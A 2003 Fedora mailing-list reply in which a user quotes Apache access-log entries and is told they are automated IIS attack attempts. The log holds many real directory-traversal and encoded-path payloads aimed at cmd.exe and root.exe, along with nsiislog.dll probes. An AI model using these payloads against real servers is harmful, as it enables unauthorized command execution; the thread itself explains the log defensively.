These are standard attempts to crack IIS. They are probably being sent by a script-kiddie. Aren't you glad you are running Linux!! Don't worry, your log will be full of these. On Tue, 2003-12-09 at 00:26, Lisa Durham wrote: > I am very new to Linux but was poking around in my newly setup Fedora > Core 1 system today and came upon the lines below in the Apache Access > Log when I used the "System Logs" icon in the System Tools Menu. > > Is the IP at the beginning of each line the IP that requested the file > that is shown at the end of the line? with the date and time in the > center? If this isn't what's shown in this file, what is this format? > What does this file tell me? Am I paranoid, or was someone trying to > access my machine (but ignorantly assuming it was a Windows machine)? > > > quoted Apaches Access Log: > > 24.60.93.48 - - [07/Dec/2003:14:39:47 -0600] "GET > /scripts/root.exe?/c+dir HTTP/1.0" 404 327 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:39:47 -0600] "GET /MSADC/root.exe?/c+dir > HTTP/1.0" 404 325 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:39:47 -0600] "GET > /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:39:48 -0600] "GET > /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:39:48 -0600] "GET > /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 349 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:39:48 -0600] "GET > /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" 404 366 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:39:49 -0600] "GET > /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" 404 366 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:39:49 -0600] "GET > /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" 404 382 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:39:52 -0600] "GET > /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 348 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:39:56 -0600] "GET > /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 348 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:39:56 -0600] "GET > /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 348 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:40:17 -0600] "GET > /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 348 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:40:18 -0600] "GET > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 339 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:40:18 -0600] "GET > /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 339 "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:40:19 -0600] "GET > /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 349 > "-" "-" > 24.60.93.48 - - [07/Dec/2003:14:40:19 -0600] "GET > /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 349 "-" "-" > 211.239.107.43 - - [07/Dec/2003:15:40:29 -0600] "GET > /scripts/nsiislog.dll" 404 331 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:01 -0600] "GET > /scripts/root.exe?/c+dir HTTP/1.0" 404 327 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:01 -0600] "GET > /MSADC/root.exe?/c+dir HTTP/1.0" 404 325 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:01 -0600] "GET > /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:01 -0600] "GET > /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 335 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:01 -0600] "GET > /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 349 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:01 -0600] "GET > /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" 404 366 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:02 -0600] "GET > /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" 404 366 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:02 -0600] "GET > /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir > HTTP/1.0" 404 382 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:02 -0600] "GET > /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 348 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:02 -0600] "GET > /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 348 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:02 -0600] "GET > /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 348 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:02 -0600] "GET > /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 348 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:03 -0600] "GET > /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 339 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:03 -0600] "GET > /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 400 339 "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:03 -0600] "GET > /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 349 > "-" "-" > 24.199.161.83 - - [07/Dec/2003:17:59:03 -0600] "GET > /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 349 "-" "-" > 217.120.149.161 - - [07/Dec/2003:18:27:17 -0600] "GET > /scripts/nsiislog.dll" 404 331 "-" "-" > > ---------------------------------------- > > Thanks, > Lisa > > > -- > fedora-list mailing list > fedora-list@xxxxxxxxxx > To unsubscribe: http://www.redhat.com/mailman/listinfo/fedora-list -- --------------------------------------------------- Scott Burch President and Chief Scientist Bulldog Information Services 212-343-8148 x111 .-. /v\ The software said it requires // \\ windows 2000 or better, /( )\ so I installed LINUX ^^-^^